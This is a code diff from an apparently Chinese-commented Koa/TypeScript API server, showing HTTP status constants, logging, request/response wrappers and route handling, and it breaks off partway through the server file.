+ TEMPORARY_REDIRECT: 307, //请求的资源现在临时从不同的URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。新的临时性的URI 应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI 的超链接及简短说明。因为部分浏览器不能识别307响应,因此需要添加上述必要信息以便用户能够理解并向新的 URI 发出访问请求。如果这不是一个GET或者HEAD请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化
24
+
25
+ BAD_REQUEST: 400, //1.语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求 2.请求参数有误
26
+ UNAUTHORIZED: 401, //当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么401响应代表着服务器验证已经拒绝了那些证书。如果401响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。参见RFC 2617
27
+ PAYMENT_REQUIRED: 402, //该状态码是为了将来可能的需求而预留的
28
+ FORBIDDEN: 403, //服务器已经理解请求,但是拒绝执行它。与401响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个HEAD请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个404响应,假如它不希望让客户端获得任何信息
29
+ NOT_FOUND: 404, //请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用410状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下
30
+ METHOD_NOT_ALLOWED: 405, //请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个Allow 头信息用以表示出当前资源能够接受的请求方法的列表。鉴于PUT,DELETE方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回405错误
31
+ NO_ACCEPTABLE: 406, //请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。除非这是一个 HEAD 请求,否则该响应就应当返回一个包含可以让用户或者浏览器从中选择最合适的实体特性以及地址列表的实体。实体的格式由Content-Type头中定义的媒体类型决定。浏览器可以根据格式及自身能力自行作出最佳选择。但是,规范中并没有定义任何作出此类自动选择的标准
32
+ PROXY_AUTHENTICATION_REQUIRED: 407, //与401响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个Proxy-Authenticate用以进行身份询问。客户端可以返回一个Proxy-Authorization信息头用以验证。参见RFC 2617
33
+ REQUEST_TIMEOUT: 408, //请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改
34
+ CONFLICT: 409, //由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。冲突通常发生于对PUT请求的处理中。例如,在采用版本检查的环境下,某次PUT提交的对特定资源���修改请求所附带的版本信息与之前的某个(第三方)请求向冲突,那么此时服务器就应该返回一个409错误,告知用户请求无法完成。此时,响应实体中很可能会包含两个冲突版本之间的差异比较,以便用户重新提交归并以后的新版本
35
+ GONE: 410, //被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用404状态码。除非额外说明,否则这个响应是可缓存的。410响应的目的主要是帮助网站管理员维护网站,通知用户该资源已经不再可用,并且服务器拥有者希望所有指向这个资源的远端连接也被删除。这类事件在限时、增值服务中很普遍。同样,410响应也被用于通知客户端在当前服务器站点上,原本属于某个个人的资源已经不再可用。当然,是否需要把所有永久不可用的资源标记为'410 Gone',以及是否需要保持此标记多长时间,完全取决于服务器拥有者
36
+ LENGTH_REQUIRED: 411, //服务器拒绝在没有定义Content-Length头的情况下接受请求。在添加了表明请求消息体长度的有效Content-Length头之后,客户端可以再次提交该请求
37
+ PRECONDITION_FAILED: 412, //服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上
38
+ REQUEST_ENTITY_TOO_LARGE: 413, //服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试
39
+ REQUEST_URI_TOO_LONG: 414, //请求的URI长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:本应使用POST方法的表单提交变成了GET方法,导致查询字符串(Query String)过长。重定向URI “黑洞”,例如每次重定向把旧的URI作为新的URI的一部分,导致在若干次重定向后URI超长。客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器。这类服务器使用固定长度的缓冲读取或操作请求的URI,当GET后的参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行[1]。没有此类漏洞的服务器,应当返回414状态码
40
+ UNSUPPORTED_MEDIA_TYPE: 415, //对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝
41
+ REQUESTED_RANGE_NOT_SATISFIABLE: 416, //如果请求中包含了Range请求头,并且Range中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义If-Range请求头,那么服务器就应当返回416状态码。假如Range使用的是字节范围,那么这种情况就是指请求指定的所有数据范围的首字节位置都超过了当前资源的长度。服务器也应当在返回416状态码的同时,包含一个Content-Range实体头,用以指明当前资源的长度。这个响应也被禁止使用multipart/byteranges作为其 Content-Type
42
+ EXPECTION_FAILED: 417, //在请求头Expect中指定的预期内容无法被服务器满足,或者这个服务器是一个代理服务器,它有明显的证据证明在当前路由的下一个节点上,Expect的内容无法被满足
43
+ TOO_MANY_CONNECTIONS: 421, //从当前客户端所在的IP地址到服务器的连接数超过了服务器许可的最大范围。通常,这里的IP地址指的是从服务器上看到的客户端地址(比如用户的网关或者代理服务器地址)。在这种情况下,连接数的计算可能涉及到不止一个终端用户
44
+ UNPROCESSABLE_ENTITY: 422, //请求格式正确,但是由于含有语义错误,无法响应
45
+ FAILED_DEPENDENCY: 424, //由于之前的某个请求发生的错误,导致当前请求失败,例如PROPPATCH
46
+ UNORDERED_COLLECTION: 425, //在WebDav Advanced Collections 草案中定义,但是未出现在《WebDAV 顺序集协议》(RFC 3658)中
47
+ UPGRADE_REQUIRED: 426, //客户端应当切换到TLS/1.0
48
+ RETRY_WITH: 449, //由微软扩展,代表请求应当在执行完适当的操作后进行重试
49
+
50
+ INTERNAL_SERVER_ERROR: 500, //服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器的程序码出错时出现
51
+ NOT_IMPLEMENTED: 501, //服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求
52
+ BAD_GATEWAY: 502, //作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应
53
+ SERVICE_UNAVAILABLE: 503, //由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。如果能够预计延迟时间,那么响应中可以包含一个 Retry-After 头用以标明这个延迟时间。如果没有给出这个 Retry-After 信息,那么客户端应当以处理500响应的方式处理它。注意:503状态码的存在并不意味着服务器在过载的时候必须使用它。某些服务器只不过是希望拒绝客户端的连接
54
+ GATEWAY_TIMEOUT: 504, //作为网关或者代理工作的服务器尝试执行请求时,未能及时从上游服务器(URI标识出的服务器,例如HTTP、FTP、LDAP)或者辅助服务器(例如DNS)收到响应。注意:某些代理服务器在DNS查询超时时会返回400或者500错误
55
+ HTTP_VERSION_NOT_SUPPORTED: 505, //服务器不支持,或者拒绝支持在请求中使用的HTTP版本。这暗示着服务器不能或不愿使用与客户端相同的版本。响应中应当包含一个描述了为何版本不被支持以及服务器支持哪些协议的实体
56
+ VARIANT_ALSO_NEGOTIATES: 506, //服务器存在内部配置错误:被请求的协商变元资源被配置为在透明内容协商中使用自己,因此在一个协商处理中不是一个合适的重点
57
+ INSUFFICIENT_STORAGE: 507, //服务器无法存储完成请求所必须的内容。这个状况被认为是临时的
58
+ BANDWIDTH_LIMIT_EXCEEDED: 509, //服务器达到带宽限制。这不是一个官方的状态码,但是仍被广泛使用
59
+ NOT_EXTENDED: 510 //获取资源所需要的策略并没有没满足
60
+
61
+ };
src/lib/initialize.ts ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import logger from './logger.js';
2
+
3
+ // 允许无限量的监听器
4
+ process.setMaxListeners(Infinity);
5
+ // 输出未捕获异常
6
+ process.on("uncaughtException", (err, origin) => {
7
+ logger.error(`An unhandled error occurred: ${origin}`, err);
8
+ });
9
+ // 输出未处理的Promise.reject
10
+ process.on("unhandledRejection", (_, promise) => {
11
+ promise.catch(err => logger.error("An unhandled rejection occurred:", err));
12
+ });
13
+ // 输出系统警告信息
14
+ process.on("warning", warning => logger.warn("System warning: ", warning));
15
+ // 进程退出监听
16
+ process.on("exit", () => {
17
+ logger.info("Service exit");
18
+ logger.footer();
19
+ });
20
+ // 进程被kill
21
+ process.on("SIGTERM", () => {
22
+ logger.warn("received kill signal");
23
+ process.exit(2);
24
+ });
25
+ // Ctrl-C进程退出
26
+ process.on("SIGINT", () => {
27
+ process.exit(0);
28
+ });
src/lib/interfaces/ICompletionMessage.ts ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ export default interface ICompletionMessage {
2
+ role: 'system' | 'assistant' | 'user' | 'function';
3
+ content: string;
4
+ }
src/lib/logger.ts ADDED
@@ -0,0 +1,184 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import path from 'path';
2
+ import _util from 'util';
3
+
4
+ import 'colors';
5
+ import _ from 'lodash';
6
+ import fs from 'fs-extra';
7
+ import { format as dateFormat } from 'date-fns';
8
+
9
+ import config from './config.ts';
10
+ import util from './util.ts';
11
+
12
+ const isVercelEnv = process.env.VERCEL;
13
+
14
+ class LogWriter {
15
+
16
+ #buffers = [];
17
+
18
+ constructor() {
19
+ !isVercelEnv && fs.ensureDirSync(config.system.logDirPath);
20
+ !isVercelEnv && this.work();
21
+ }
22
+
23
+ push(content) {
24
+ const buffer = Buffer.from(content);
25
+ this.#buffers.push(buffer);
26
+ }
27
+
28
+ writeSync(buffer) {
29
+ !isVercelEnv && fs.appendFileSync(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), buffer);
30
+ }
31
+
32
+ async write(buffer) {
33
+ !isVercelEnv && await fs.appendFile(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), buffer);
34
+ }
35
+
36
+ flush() {
37
+ if(!this.#buffers.length) return;
38
+ !isVercelEnv && fs.appendFileSync(path.join(config.system.logDirPath, `/${util.getDateString()}.log`), Buffer.concat(this.#buffers));
39
+ }
40
+
41
+ work() {
42
+ if (!this.#buffers.length) return setTimeout(this.work.bind(this), config.system.logWriteInterval);
43
+ const buffer = Buffer.concat(this.#buffers);
44
+ this.#buffers = [];
45
+ this.write(buffer)
46
+ .finally(() => setTimeout(this.work.bind(this), config.system.logWriteInterval))
47
+ .catch(err => console.error("Log write error:", err));
48
+ }
49
+
50
+ }
51
+
52
+ class LogText {
53
+
54
+ /** @type {string} 日志级别 */
55
+ level;
56
+ /** @type {string} 日志文本 */
57
+ text;
58
+ /** @type {string} 日志来源 */
59
+ source;
60
+ /** @type {Date} 日志发生时间 */
61
+ time = new Date();
62
+
63
+ constructor(level, ...params) {
64
+ this.level = level;
65
+ this.text = _util.format.apply(null, params);
66
+ this.source = this.#getStackTopCodeInfo();
67
+ }
68
+
69
+ #getStackTopCodeInfo() {
70
+ const unknownInfo = { name: "unknown", codeLine: 0, codeColumn: 0 };
71
+ const stackArray = new Error().stack.split("\n");
72
+ const text = stackArray[4];
73
+ if (!text)
74
+ return unknownInfo;
75
+ const match = text.match(/at (.+) \((.+)\)/) || text.match(/at (.+)/);
76
+ if (!match || !_.isString(match[2] || match[1]))
77
+ return unknownInfo;
78
+ const temp = match[2] || match[1];
79
+ const _match = temp.match(/([a-zA-Z0-9_\-\.]+)\:(\d+)\:(\d+)$/);
80
+ if (!_match)
81
+ return unknownInfo;
82
+ const [, scriptPath, codeLine, codeColumn] = _match as any;
83
+ return {
84
+ name: scriptPath ? scriptPath.replace(/.js$/, "") : "unknown",
85
+ path: scriptPath || null,
86
+ codeLine: parseInt(codeLine || 0),
87
+ codeColumn: parseInt(codeColumn || 0)
88
+ };
89
+ }
90
+
91
+ toString() {
92
+ return `[${dateFormat(this.time, "yyyy-MM-dd HH:mm:ss.SSS")}][${this.level}][${this.source.name}<${this.source.codeLine},${this.source.codeColumn}>] ${this.text}`;
93
+ }
94
+
95
+ }
96
+
97
+ class Logger {
98
+
99
+ /** @type {Object} 系统配置 */
100
+ config = {};
101
+ /** @type {Object} 日志级别映射 */
102
+ static Level = {
103
+ Success: "success",
104
+ Info: "info",
105
+ Log: "log",
106
+ Debug: "debug",
107
+ Warning: "warning",
108
+ Error: "error",
109
+ Fatal: "fatal"
110
+ };
111
+ /** @type {Object} 日志级别文本颜色樱色 */
112
+ static LevelColor = {
113
+ [Logger.Level.Success]: "green",
114
+ [Logger.Level.Info]: "brightCyan",
115
+ [Logger.Level.Debug]: "white",
116
+ [Logger.Level.Warning]: "brightYellow",
117
+ [Logger.Level.Error]: "brightRed",
118
+ [Logger.Level.Fatal]: "red"
119
+ };
120
+ #writer;
121
+
122
+ constructor() {
123
+ this.#writer = new LogWriter();
124
+ }
125
+
126
+ header() {
127
+ this.#writer.writeSync(Buffer.from(`\n\n===================== LOG START ${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")} =====================\n\n`));
128
+ }
129
+
130
+ footer() {
131
+ this.#writer.flush(); //将未写入文件的日志缓存写入
132
+ this.#writer.writeSync(Buffer.from(`\n\n===================== LOG END ${dateFormat(new Date(), "yyyy-MM-dd HH:mm:ss.SSS")} =====================\n\n`));
133
+ }
134
+
135
+ success(...params) {
136
+ const content = new LogText(Logger.Level.Success, ...params).toString();
137
+ console.info(content[Logger.LevelColor[Logger.Level.Success]]);
138
+ this.#writer.push(content + "\n");
139
+ }
140
+
141
+ info(...params) {
142
+ const content = new LogText(Logger.Level.Info, ...params).toString();
143
+ console.info(content[Logger.LevelColor[Logger.Level.Info]]);
144
+ this.#writer.push(content + "\n");
145
+ }
146
+
147
+ log(...params) {
148
+ const content = new LogText(Logger.Level.Log, ...params).toString();
149
+ console.log(content[Logger.LevelColor[Logger.Level.Log]]);
150
+ this.#writer.push(content + "\n");
151
+ }
152
+
153
+ debug(...params) {
154
+ if(!config.system.debug) return; //非调试模式忽略debug
155
+ const content = new LogText(Logger.Level.Debug, ...params).toString();
156
+ console.debug(content[Logger.LevelColor[Logger.Level.Debug]]);
157
+ this.#writer.push(content + "\n");
158
+ }
159
+
160
+ warn(...params) {
161
+ const content = new LogText(Logger.Level.Warning, ...params).toString();
162
+ console.warn(content[Logger.LevelColor[Logger.Level.Warning]]);
163
+ this.#writer.push(content + "\n");
164
+ }
165
+
166
+ error(...params) {
167
+ const content = new LogText(Logger.Level.Error, ...params).toString();
168
+ console.error(content[Logger.LevelColor[Logger.Level.Error]]);
169
+ this.#writer.push(content);
170
+ }
171
+
172
+ fatal(...params) {
173
+ const content = new LogText(Logger.Level.Fatal, ...params).toString();
174
+ console.error(content[Logger.LevelColor[Logger.Level.Fatal]]);
175
+ this.#writer.push(content);
176
+ }
177
+
178
+ destory() {
179
+ this.#writer.destory();
180
+ }
181
+
182
+ }
183
+
184
+ export default new Logger();
src/lib/request/Request.ts ADDED
@@ -0,0 +1,72 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ import APIException from '@/lib/exceptions/APIException.ts';
4
+ import EX from '@/api/consts/exceptions.ts';
5
+ import logger from '@/lib/logger.ts';
6
+ import util from '@/lib/util.ts';
7
+
8
+ export interface RequestOptions {
9
+ time?: number;
10
+ }
11
+
12
+ export default class Request {
13
+
14
+ /** 请求方法 */
15
+ method: string;
16
+ /** 请求URL */
17
+ url: string;
18
+ /** 请求路径 */
19
+ path: string;
20
+ /** 请求载荷类型 */
21
+ type: string;
22
+ /** 请求headers */
23
+ headers: any;
24
+ /** 请求原始查询字符串 */
25
+ search: string;
26
+ /** 请求查询参数 */
27
+ query: any;
28
+ /** 请求URL参数 */
29
+ params: any;
30
+ /** 请求载荷 */
31
+ body: any;
32
+ /** 上传的文件 */
33
+ files: any[];
34
+ /** 客户端IP地址 */
35
+ remoteIP: string | null;
36
+ /** 请求接受时间戳(毫秒) */
37
+ time: number;
38
+
39
+ constructor(ctx, options: RequestOptions = {}) {
40
+ const { time } = options;
41
+ this.method = ctx.request.method;
42
+ this.url = ctx.request.url;
43
+ this.path = ctx.request.path;
44
+ this.type = ctx.request.type;
45
+ this.headers = ctx.request.headers || {};
46
+ this.search = ctx.request.search;
47
+ this.query = ctx.query || {};
48
+ this.params = ctx.params || {};
49
+ this.body = ctx.request.body || {};
50
+ this.files = ctx.request.files || {};
51
+ this.remoteIP = this.headers["X-Real-IP"] || this.headers["x-real-ip"] || this.headers["X-Forwarded-For"] || this.headers["x-forwarded-for"] || ctx.ip || null;
52
+ this.time = Number(_.defaultTo(time, util.timestamp()));
53
+ }
54
+
55
+ validate(key: string, fn?: Function, message?: string) {
56
+ try {
57
+ const value = _.get(this, key);
58
+ if (fn) {
59
+ if (fn(value) === false)
60
+ throw `[Mismatch] -> ${fn}`;
61
+ }
62
+ else if (_.isUndefined(value))
63
+ throw '[Undefined]';
64
+ }
65
+ catch (err) {
66
+ logger.warn(`Params ${key} invalid:`, err);
67
+ throw new APIException(EX.API_REQUEST_PARAMS_INVALID, message || `Params ${key} invalid`);
68
+ }
69
+ return this;
70
+ }
71
+
72
+ }
src/lib/response/Body.ts ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ export interface BodyOptions {
4
+ code?: number;
5
+ message?: string;
6
+ data?: any;
7
+ statusCode?: number;
8
+ }
9
+
10
+ export default class Body {
11
+
12
+ /** 状态码 */
13
+ code: number;
14
+ /** 状态消息 */
15
+ message: string;
16
+ /** 载荷 */
17
+ data: any;
18
+ /** HTTP状态码 */
19
+ statusCode: number;
20
+
21
+ constructor(options: BodyOptions = {}) {
22
+ const { code, message, data, statusCode } = options;
23
+ this.code = Number(_.defaultTo(code, 0));
24
+ this.message = _.defaultTo(message, 'OK');
25
+ this.data = _.defaultTo(data, null);
26
+ this.statusCode = Number(_.defaultTo(statusCode, 200));
27
+ }
28
+
29
+ toObject() {
30
+ return {
31
+ code: this.code,
32
+ message: this.message,
33
+ data: this.data
34
+ };
35
+ }
36
+
37
+ static isInstance(value) {
38
+ return value instanceof Body;
39
+ }
40
+
41
+ }
src/lib/response/FailureBody.ts ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ import Body from './Body.ts';
4
+ import Exception from '../exceptions/Exception.ts';
5
+ import APIException from '../exceptions/APIException.ts';
6
+ import EX from '../consts/exceptions.ts';
7
+ import HTTP_STATUS_CODES from '../http-status-codes.ts';
8
+
9
+ export default class FailureBody extends Body {
10
+
11
+ constructor(error: APIException | Exception | Error, _data?: any) {
12
+ let errcode, errmsg, data = _data, httpStatusCode = HTTP_STATUS_CODES.OK;;
13
+ if(_.isString(error))
14
+ error = new Exception(EX.SYSTEM_ERROR, error);
15
+ else if(error instanceof APIException || error instanceof Exception)
16
+ ({ errcode, errmsg, data, httpStatusCode } = error);
17
+ else if(_.isError(error))
18
+ ({ errcode, errmsg, data, httpStatusCode } = new Exception(EX.SYSTEM_ERROR, error.message));
19
+ super({
20
+ code: errcode || -1,
21
+ message: errmsg || 'Internal error',
22
+ data,
23
+ statusCode: httpStatusCode
24
+ });
25
+ }
26
+
27
+ static isInstance(value) {
28
+ return value instanceof FailureBody;
29
+ }
30
+
31
+ }
src/lib/response/Response.ts ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import mime from 'mime';
2
+ import _ from 'lodash';
3
+
4
+ import Body from './Body.ts';
5
+ import util from '../util.ts';
6
+
7
+ export interface ResponseOptions {
8
+ statusCode?: number;
9
+ type?: string;
10
+ headers?: Record<string, any>;
11
+ redirect?: string;
12
+ body?: any;
13
+ size?: number;
14
+ time?: number;
15
+ }
16
+
17
+ export default class Response {
18
+
19
+ /** 响应HTTP状态码 */
20
+ statusCode: number;
21
+ /** 响应内容类型 */
22
+ type: string;
23
+ /** 响应headers */
24
+ headers: Record<string, any>;
25
+ /** 重定向目标 */
26
+ redirect: string;
27
+ /** 响应载荷 */
28
+ body: any;
29
+ /** 响应载荷大小 */
30
+ size: number;
31
+ /** 响应时间戳 */
32
+ time: number;
33
+
34
+ constructor(body: any, options: ResponseOptions = {}) {
35
+ const { statusCode, type, headers, redirect, size, time } = options;
36
+ this.statusCode = Number(_.defaultTo(statusCode, Body.isInstance(body) ? body.statusCode : undefined))
37
+ this.type = type;
38
+ this.headers = headers;
39
+ this.redirect = redirect;
40
+ this.size = size;
41
+ this.time = Number(_.defaultTo(time, util.timestamp()));
42
+ this.body = body;
43
+ }
44
+
45
+ injectTo(ctx) {
46
+ this.redirect && ctx.redirect(this.redirect);
47
+ this.statusCode && (ctx.status = this.statusCode);
48
+ this.type && (ctx.type = mime.getType(this.type) || this.type);
49
+ const headers = this.headers || {};
50
+ if(this.size && !headers["Content-Length"] && !headers["content-length"])
51
+ headers["Content-Length"] = this.size;
52
+ ctx.set(headers);
53
+ if(Body.isInstance(this.body))
54
+ ctx.body = this.body.toObject();
55
+ else
56
+ ctx.body = this.body;
57
+ }
58
+
59
+ static isInstance(value) {
60
+ return value instanceof Response;
61
+ }
62
+
63
+ }
src/lib/response/SuccessfulBody.ts ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import _ from 'lodash';
2
+
3
+ import Body from './Body.ts';
4
+
5
+ export default class SuccessfulBody extends Body {
6
+
7
+ constructor(data: any, message?: string) {
8
+ super({
9
+ code: 0,
10
+ message: _.defaultTo(message, "OK"),
11
+ data
12
+ });
13
+ }
14
+
15
+ static isInstance(value) {
16
+ return value instanceof SuccessfulBody;
17
+ }
18
+
19
+ }
src/lib/server.ts ADDED
@@ -0,0 +1,173 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import Koa from 'koa';
2
+ import KoaRouter from 'koa-router';
3
+ import koaRange from 'koa-range';
4
+ import koaCors from "koa2-cors";
5
+ import koaBody from 'koa-body';
6
+ import _ from 'lodash';
7
+
8
+ import Exception from './exceptions/Exception.ts';
9
+ import Request from './request/Request.ts';
10
+ import Response from './response/Response.js';
11
+ import FailureBody from './response/FailureBody.ts';
12
+ import EX from './consts/exceptions.ts';
13
+ import logger from './logger.ts';
14
+ import config from './config.ts';
15
+
16
+ class Server {
17
+
18
+ app;
19
+ router;
20
+
21
+ constructor() {
22
+ this.app = new Koa();
23
+ this.app.use(koaCors());
24
+ // 范围请求支持
25
+ this.app.use(koaRange);
26
+ this.router = new KoaRouter({ prefix: config.service.urlPrefix });
27
+ // 前置处理异常拦截
28
+ this.app.use(async (ctx: any, next: Function) => {
29
+ if(ctx.request.type === "application/xml" || ctx.request.type === "application/ssml+xml")
30
+ ctx.req.headers["content-type"] = "text/xml";
31
+ try { await next() }
32
+ catch (err) {
33
+ logger.error(err);
34
+ const failureBody = new FailureBody(err);
35
+ new Response(failureBody).injectTo(ctx);
36
+ }
37
+ });
38
+ // 载荷解析器支持
39
+ this.app.use(koaBody(_.clone(config.system.requestBody)));
40
+ this.app.on("error", (err: any) => {
41
+ // 忽略连接重试、中断、管道、取消错误
42
+ if (["ECONNRESET", "ECONNABORTED", "EPIPE", "ECANCELED"].includes(err.code)) return;
43
+ logger.error(err);
44
+ });
45
+ logger.success("Server initialized");
46
+ }
47
+
48
+ /**
49
+ * 附加路由
50
+ *
51
+ * @param routes 路由列表
52
+ */
53
+ attachRoutes(routes: any[]) {
54
+ routes.forEach((route: any) => {
55
+ const prefix = route.prefix || "";
56
+ for (let method in route) {
57
+ if(method === "prefix") continue;
58
+ if (!_.isObject(route[method])) {
59
+ logger.warn(`Router ${prefix} ${method} invalid`);
60
+ continue;
61
+ }
62
+ for (let uri in route[method]) {
63
+ this.router[method](`${prefix}${uri}`, async ctx => {
64
+ const { request, response } = await this.#requestProcessing(ctx, route[method][uri]);
65
+ if(response != null && config.system.requestLog)
66
+ logger.info(`<- ${request.method} ${request.url} ${response.time - request.time}ms`);
67
+ });
68
+ }
69
+ }
70
+ logger.info(`Route ${config.service.urlPrefix || ""}${prefix} attached`);
71
+ });
72
+ this.app.use(this.router.routes());
73
+ this.app.use((ctx: any) => {
74
+ const request = new Request(ctx);
75
+ logger.debug(`-> ${ctx.request.method} ${ctx.request.url} request is not supported - ${request.remoteIP || "unknown"}`);
76
+ // const failureBody = new FailureBody(new Exception(EX.SYSTEM_NOT_ROUTE_MATCHING, "Request is not supported"));
77
+ // const response = new Response(failureBody);
78
+ const message = `[请求有误]: 正确请求为 POST -> /v1/chat/completions,当前请求为 ${ctx.request.method} -> ${ctx.request.url} 请纠正`;
79
+ logger.warn(message);
80
+ const failureBody = new FailureBody(new Error(message));
81
+ const response = new Response(failureBody);
82
+ response.injectTo(ctx);
83
+ if(config.system.requestLog)
84
+ logger.info(`<- ${request.method} ${request.url} ${response.time - request.time}ms`);
85
+ });
86
+ }
87
+
88
+ /**
89
+ * 请求处理
90
+ *
91
+ * @param ctx 上下文
92
+ * @param routeFn 路由方法
93
+ */
94
+ #requestProcessing(ctx: any, routeFn: Function): Promise<any> {
95
+ return new Promise(resolve => {
96
+ const request = new Request(ctx);
97
+ try {
98
+ if(config.system.requestLog)
99
+ logger.info(`-> ${request.method} ${request.url}`);
100
+ routeFn(request)
101
+ .then(response => {
102
+ try {
103
+ if(!Response.isInstance(response)) {
104
+ const _response = new Response(response);
105
+ _response.injectTo(ctx);
106
+ return resolve({ request, response: _response });
107
+ }
108
+ response.injectTo(ctx);
109
+ resolve({ request, response });
110
+ }
111
+ catch(err) {
112
+ logger.error(err);
113
+ const failureBody = new FailureBody(err);
114
+ const response = new Response(failureBody);
115
+ response.injectTo(ctx);
116
+ resolve({ request, response });
117
+ }
118
+ })
119
+ .catch(err => {
120
+ try {
121
+ logger.error(err);
122
+ const failureBody = new FailureBody(err);
123
+ const response = new Response(failureBody);
124
+ response.injectTo(ctx);
125
+ resolve({ request, response });
126
+ }
127
+ catch(err) {
128
+ logger.error(err);
129
+ const failureBody = new FailureBody(err);
130
+ const response = new Response(failureBody);
131
+ response.injectTo(ctx);
132
+ resolve({ request, response });
133
+ }
134
+ });
135
+ }
136
+ catch(err) {
137
+ logger.error(err);
138
+ const failureBody = new FailureBody(err);
139
+ const response = new Response(failureBody);
140
